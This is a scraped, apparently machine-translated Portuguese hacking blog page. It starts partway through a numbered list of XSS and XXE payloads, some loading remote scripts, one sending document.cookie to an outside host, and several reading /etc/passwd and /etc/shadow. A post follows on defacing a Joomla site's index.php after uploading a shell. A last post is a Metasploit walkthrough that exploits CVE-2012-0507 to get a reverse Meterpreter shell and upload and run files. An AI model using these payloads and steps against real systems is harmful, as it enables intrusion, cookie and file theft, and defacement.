    806. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
    807. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
    808. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
    809. <img SRC='vbscript:document.vulnerable=true;'>
    810. ¼script¾document.vulnerable=true;¼/script¾
    811. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
    812. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
    813. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
    814. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
    815. <table BACKGROUND="javascript:document.vulnerable=true;">
    816. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
    817. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
    818. <div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
    819. <div STYLE="width: expression(document.vulnerable=true);">
    820. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
    821. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
    822. <XSS STYLE="xss:expression(document.vulnerable=true)">
    823. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
    824. <style TYPE="text/javascript">document.vulnerable=true;</style>
    825. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
    826. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
    827. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
    828. <base HREF="javascript:document.vulnerable=true;//">
    829. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
    830. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
    831. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
    832. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
    833. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
    834. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
    835. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
    836. <a href="javascript#document.vulnerable=true;">
    837. <div onmouseover="document.vulnerable=true;">
    838. <img src="javascript:document.vulnerable=true;">
    839. <img dynsrc="javascript:document.vulnerable=true;">
    840. <input type="image" dynsrc="javascript:document.vulnerable=true;">
    841. <bgsound src="javascript:document.vulnerable=true;">
    842. &<script>document.vulnerable=true;</script>
    843. &{document.vulnerable=true;};
    844. <img src=&{document.vulnerable=true;};>
    845. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
    846. <iframe src="vbscript:document.vulnerable=true;">
    847. <img src="mocha:document.vulnerable=true;">
    848. <img src="livescript:document.vulnerable=true;">
    849. <a href="about:<script>document.vulnerable=true;</script>">
    850. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
    851. <body onload="document.vulnerable=true;">
    852. <div style="background-image: url(javascript:document.vulnerable=true;);">
    853. <div style="behaviour: url([link to code]);">
    854. <div style="binding: url([link to code]);">
    855. <div style="width: expression(document.vulnerable=true;);">
    856. <style type="text/javascript">document.vulnerable=true;</style>
    857. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
    858. <style><!--</style><script>document.vulnerable=true;//--></script>
    859. <<script>document.vulnerable=true;</script>
    860. <![<!--]]<script>document.vulnerable=true;//--></script>
    861. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
    862. <img src="blah"onmouseover="document.vulnerable=true;">
    863. <img src="blah>" onmouseover="document.vulnerable=true;">
    864. <xml src="javascript:document.vulnerable=true;">
    865. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
    866. <div datafld="b" dataformatas="html" datasrc="#X"></div>
    867. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
    868. <style>@import'http://www.securitycompass.com/xss.css';</style>
    869. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
    870. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
    871. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
    872. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
    873. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
    874. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
    875. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
    876. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
    877. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
    878. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
    879. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
    880. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
    881. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
    882. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
    883. ";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
    884. <;/script>;<;script>;alert(1)<;/script>;
    885. <;/br style=a:expression(alert())>;
    886. <;scrscriptipt>;alert(1)<;/scrscriptipt>;
    887. <;br size=\";&;{alert(&#039;XSS&#039;)}\";>;
    888. perl -e &#039;print \";<;IMG SRC=java\0script:alert(\";XSS\";)>;\";;&#039; >; out
    889. perl -e &#039;print \";<;SCR\0IPT>;alert(\";XSS\";)<;/SCR\0IPT>;\";;&#039; >; out
    890. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    891. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
    892. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    893. <~/XSS STYLE=xss:expression(alert('XSS'))>
    894. "><script>alert('XSS')</script>
    895. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    896. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    897. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
    898. </XSS STYLE=xss:expression(alert('XSS'))>
    899. >"><script>alert("XSS")</script>&
    900. "><STYLE>@import"javascript:alert('XSS')";</STYLE>
    901. >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
    902. >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
    903. '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
    904. ">
    905. >"
    906. '';!--"<XSS>=&{()}
    907. <IMG SRC="javascript:alert('XSS');">
    908. <IMG SRC=javascript:alert('XSS')>
    909. <IMG SRC=JaVaScRiPt:alert('XSS')>
    910. <IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
    911. <IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>
    912. <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>    
    913. <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
    914.  
    915. <IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
    916. <IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">
    917. <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
    918. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
    919. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
    920. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
    921. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
    922. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
    923. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
    924. <script>alert('XSS')</script>
    925. %3cscript%3ealert('XSS')%3c/script%3e
    926. %22%3e%3cscript%3ealert('XSS')%3c/script%3e
Mais informações »
Postado por às Nenhum comentário:
Marcadores:

terça-feira, 5 de fevereiro de 2013

Bypass Index Joomla

Olá meus amigos, muitos hackers encontrar um grande problema quando carregar shell em um site joomla ea permissão não permite editar arquivos como "index.php"


Bem vou mostrar-lhe como contornar a permissão!!

A primeira coisa que carregar um script Perl ou Python ou cgi como você quer.

em seguida, ir para a direção em que você deseja editar (deface) o seu arquivo como este:

cd / home / user / public_html /

Em seguida, digite o comando:

echo 'colocar aqui seu código desfigurar'> / home / user / public_html / index.php
Postado por às Nenhum comentário:
Marcadores:

sexta-feira, 1 de fevereiro de 2013

Como cortar computador remoto usando Metasploit? Explorando vulnerabilidade Java


Sempre que alguém diz PenTesting ferramenta, a primeira coisa que vem em nossa mente é Metasploit. Hoje, eu estou indo para demonstrar como utilizar a ferramenta Metasploit para explorar o popular java AtomicReferenceArray vulnerabilidade Violação Tipo (CVE-2012-0507).
Sobre o Metasploit :
Metsploit é uma ferramenta muito poderosa PenTesting. Metasploit Framework, uma ferramenta para o desenvolvimento e execução de código de exploração contra uma máquina de destino remoto. O Metasploit Project também é conhecido por ferramentas anti-forenses e evasão, alguns dos quais são construídos no Metasploit Framework. Ferramenta muito útil para coleta de informações, análise de vulnerabilidade, Desenvolvimento Exploit, exploits lado do cliente, ...
Quadro dominar o: Um curso livre de Offensive-Security
A equipe de segurança ofensiva, juntamente com vários membros ativos da comunidade, fez um curso gratuito sobre o "Dominando o quadro" Metasploit Framework. O curso abrange coleta de informações, ataques de engenharia social, explorar o desenvolvimento, evitar Avanço AV e etc ..

O curso está disponível aqui:
www.offensive-security.com/metasploit-unleashed/Introduction

Doações para HFC, alimentar uma criança!
O "Dominando o quadro" é o curso livre. Se você gostou do curso, por favor, doe para Hackers para Caridade (HFC). Além de simplesmente fornecer alimentos para crianças carentes no leste da África, os hackers para o Programa de Alimentação Caridade permite que as crianças e suas famílias para sustentar-se e tornar-se mais auto-suficiente, ensinando-lhes valiosas habilidades agrícolas. Cada centavo recebido é enviado diretamente Hackers para Caridade em apoio da sua missão. Qualquer valor, não importa quão pequeno, faz a diferença, que só leva $ 9,00 para alimentar uma criança durante um mês.

Você pode encontrar mais detalhes sobre a doação aqui:
http://www.offensive-security.com/metasploit-unleashed/Donate

Ei, onde você vai?! Espere um pouco, tomar esse curso Uma vez que eu demonstrar como utilizar o Metasploit. Porque, vai ser difícil de entender ou chato, se você ler essas coisas diretamente.

Requisitos:
  • VirtualBox
  • Alvo OS (janelas, ...)
  • Distro PenTesting (Backtrack)
  • JRE 6 (versão sem patch)

CVE-2012-0507 é uma vulnerabilidade no JRE, devido ao fato de que a implementação da classe AtomicReferenceArray não verificar corretamente se a matriz é de um objeto esperado [tipo]. Um aplicativo Java malicioso ou applet poderia usar esta falha para causar Java Virtual Machine (JVM) para travar ou ignorar as restrições de Java sandbox.

Notícias sobre segurança: Essa vulnerabilidade afeta o Windows, Mac e Linux. No mês passado, malware Flashback infectar mais de 600 mil computadores Mac , explorando essa vulnerabilidade. Recentemente, o INSS , The Amnesty International UK sites injetado com código malicioso, que exploram a CVE-2012-0507.
Eu estou indo para demonstrar esta vulnerabilidade com o VirtualBox. Eu tenho a configuração duas máquinas virtuais ou seja, "Destino" e "BT5". Eu instalei o XP 2 no Target e R2 Backtrack 5 no 'BT5'.

(? Precisam de ajuda para configurar o VM, leia isto: Laboratório de configuração PenTesting ).

Parte I: Preparando o computador de destino:
Inicie o "alvo" da máquina.
Instalar o JRE 6.

Parte II: Preparação da máquina PenTesting:
Agora, começar a BT5.

Abra o terminal e digite "msfupdate". Isto irá atualizar o Metasploit Framework (MSF) com as últimas façanhas e cargas úteis. Como CVE-2012-0507 é o mais recente vulnerabilidade, você tem que atualizar o MSF antes de prosseguir.

conexão lenta de Internet?! Se você tem conexão de internet lenta, então você pode baixar o módulo java_atomicreferencearray sozinho em vez de atualizar todos os módulos.
Faça o download do java_atomicreferencearray.rb e colar nesta pasta "opt/metasploit/msf3/modules/exploits/multi/browser / /"

Então, Download CVE-2012-0507.jar e cole nesta pasta "/ opt/metasploit/msf3/data/exploits /"
Parte III:

Explorando o Java AtomicReferenceArray Vulnerabilidade Violação Tipo:



Etapa 1:
Abra o Terminal e "msfconsole" tipo. Isto irá trazer o console Metasploit, aqui você pode interagir com o MSF.

Etapa 2:
Tipo "use exploit / multi / browser / java_atomicreferencearray". Este comando irá usar o módulo java_atomicreferencearray.rb para o ataque.


Agora digite "mostrar opções" para mostrar as configurações que estão disponíveis e / ou necessários para este módulo específico.



Agora digite "definir SRVPORT 80".
e "definir URIPATH /".



Passo 3: Carga Set
Tipo "cargas Show", essa vontade exibe a lista de cargas. Nós vamos usar o 'reverse_tcp' payload. Esta carga terá conexão TCP inversa do alvo para PenTesting máquina.

Tipo 'set carga java / Meterpreter / reverse_tcp' no console.


definir LHOST [IP_address]: A fim de obter conexão reversa, nós temos que definir o nosso IP no LHOST.

Abra o terminal e "ifconfig" tipo. Isto irá exibir a informação de IP da nossa máquina PenTesting. O IP será "192.168.56.x". Por exemplo, deixe-me dizer o ip é 192.168.56.10.

Agora Digite o msfconsole como "conjunto LHOST 192.168.56.10".



Parte IV: Rompendo a máquina de destino:

Então, você está pronto?! Vamos invadir o computador de destino.

Etapa 1:

Digite "exploit" no msfconsole. Isto irá iniciar o manipulador inversa à nossa máquina e que vai esperar alguém que vai ligar para o servidor HTTP nosso (Ex: http://192.168.56.10). Uma vez vítima ligar para o nosso servidor, ele irá enviar um frasco que vai explorar a vulnerabilidade CVE-2012-0507.

passo 2:

Abra o Firefox / IE na máquina de destino.
Digite "http://192.168.56.10".
Ele carrega nada, mas exploit será executado em segundo plano.
Etapa 3:
Abrir a máquina BT5, ele irá exibir o seguinte resultado:


Agora digite "sessões", isto irá mostrar a lista de sessões ativas.

Tipo "sessões-i 1", isto irá abrir a conexão com a sessão com o '1 id 'e trazê-lo para Meterpreter. Meterpreter vai ajudar você a interagir / controlar com o Target.



Passo 4: upload de arquivos
Yeeeh ..! temos backdoor na máquina de destino, agora podemos executar comandos no alvo.


Por exemplo, digitando "sysinfo 'irá exibir as informações do sistema.

Você também pode carregar e executar seus próprios arquivos executáveis ​​na máquina de destino.

'Upload / Test.exe c: \ \ ", este comando irá fazer o upload do Test.exe a partir da raiz (' file system 'dir) da pasta do BT5 para a unidade C do alvo.

'Execute-f C: \ \ Test.exe ", este comando irá executar o nosso arquivo carregado no Target.


Dicas de Segurança:
Atualize seu JRE para a versão mais recente.


conclusão:
Espero que este artigo lhe deu uma boa visão como usar Metasploit Framework para explorar a vulnerabilidade Java. Espero que isso irá ajudá-lo a entrar no mundo PenTesting ..!
Postado por às Nenhum comentário:
Marcadores: , ,
Assinar: Postagens (Atom)